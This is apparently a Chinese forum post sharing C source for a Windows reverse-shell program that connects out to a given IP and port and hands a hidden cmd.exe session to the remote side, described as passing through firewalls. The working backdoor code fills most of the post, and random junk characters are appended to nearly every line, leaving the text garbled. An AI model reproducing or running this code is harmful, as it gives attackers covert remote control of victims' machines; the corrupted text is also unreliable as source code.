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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bj+foNvu\  
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/* ============================== mp0! S  
Rebound port in Windows NT HK.Si]:  
By wind,2006/7 7+J<N@.d  
===============================*/ mP ^*nB@,  
#include `)1qq @  
#include C2K<CDVw  
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#pragma comment(lib,"wsock32.lib") ? )"v~vs  
n,|YJ,v[  
void OutputShell(); /_/Z/D!  
SOCKET sClient; Hd~fSXFl  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <V4"+5cJ8  
^|%7}=e  
void main(int argc,char **argv) ?*U:=|  
{ rj;~SC{  
WSADATA stWsaData; boIFN;Aq"  
int nRet; q%Lw#f  
SOCKADDR_IN stSaiClient,stSaiServer; M_F4I$V4  
DOW Z hD  
if(argc != 3) Z , 98  
{ VD2o#.7*eu  
printf("Useage:\n\rRebound DestIP DestPort\n"); RS  Vt  
return; uulzJbV,K  
} O>arCr=H  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Oat #%  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @|Hx >|p  
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stSaiClient.sin_family = AF_INET; o%73M!-  
stSaiClient.sin_port = htons(0); {=kW?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ( z%t  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $ 4A!Y  
{ {Gr"oO`&"  
printf("Bind Socket Failed!\n"); V?z-Dt C  
return; )yv~wi  
} >4AwjS }H  
coc :$Sr%  
stSaiServer.sin_family = AF_INET; ^p #bxN")  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  1O@ cev;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hHqsI`7c  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Bd*\|M  
{ Fk&A2C}$b  
printf("Connect Error!"); hUMFfc ?  
return; [$%0[;jtS  
} DBzF\-  
OutputShell(); ZZF\;  
} 0Ewt >~n  
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void OutputShell() * uZ'MS  
{ L~L]MC&  
char szBuff[1024]; M% FKg/  
SECURITY_ATTRIBUTES stSecurityAttributes; m}fY5r<<;/  
OSVERSIONINFO stOsversionInfo; t)*A#  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {]:B80I;2  
STARTUPINFO stStartupInfo; ^]?Yd)v  
char *szShell; kZvh<NFh_  
PROCESS_INFORMATION stProcessInformation; J~rjI24  
unsigned long lBytesRead; \b|Q`)TK  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .1?7)k v  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3 p9LVa  
stSecurityAttributes.lpSecurityDescriptor = 0; I}7= \S/@  
stSecurityAttributes.bInheritHandle = TRUE; wi-{&  
qt#4i.Iu+  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); tM{U6k  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -`e`U%n  
[$(/H;  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >CPoeIHK  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pr^p ^s  
stStartupInfo.wShowWindow = SW_HIDE; ~m@w p  
stStartupInfo.hStdInput = hReadPipe; h}(GOY S)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "]{"4qV1=  
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GetVersionEx(&stOsversionInfo); Ol. rjz9  
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switch(stOsversionInfo.dwPlatformId) <\S j5  
{ z[ N_3n  
case 1: ZE>!]# ,  
szShell = "command.com"; wKs-<b%;  
break; Yo#F;s7  
default: (Qys`D   
szShell = "cmd.exe"; }X*.Vv A  
break; )VCRbz"[g  
} H(Q|qckj  
w*s#=]6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #pw=HHq*(  
( -rw]=Qu  
send(sClient,szMsg,77,0); -}2e+DyAy  
while(1) * E3 c--  
{ K=C).5=U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z@S39Xp==  
if(lBytesRead) j{a3AEmps  
{ y[@<goT  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k/ ZuFTN  
send(sClient,szBuff,lBytesRead,0); 9d!}]+"d42  
} -a$7b;gF  
else XZ8;Ow=  
{ mh8~w~/[  
lBytesRead=recv(sClient,szBuff,1024,0); aF\?X &|  
if(lBytesRead<=0) break; W e*)RXm%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n/]$k4h  
} vVi))%&S(  
} g$ oe00b  
)z#M_[zC>  
return; ]w=6.LzO*  
}
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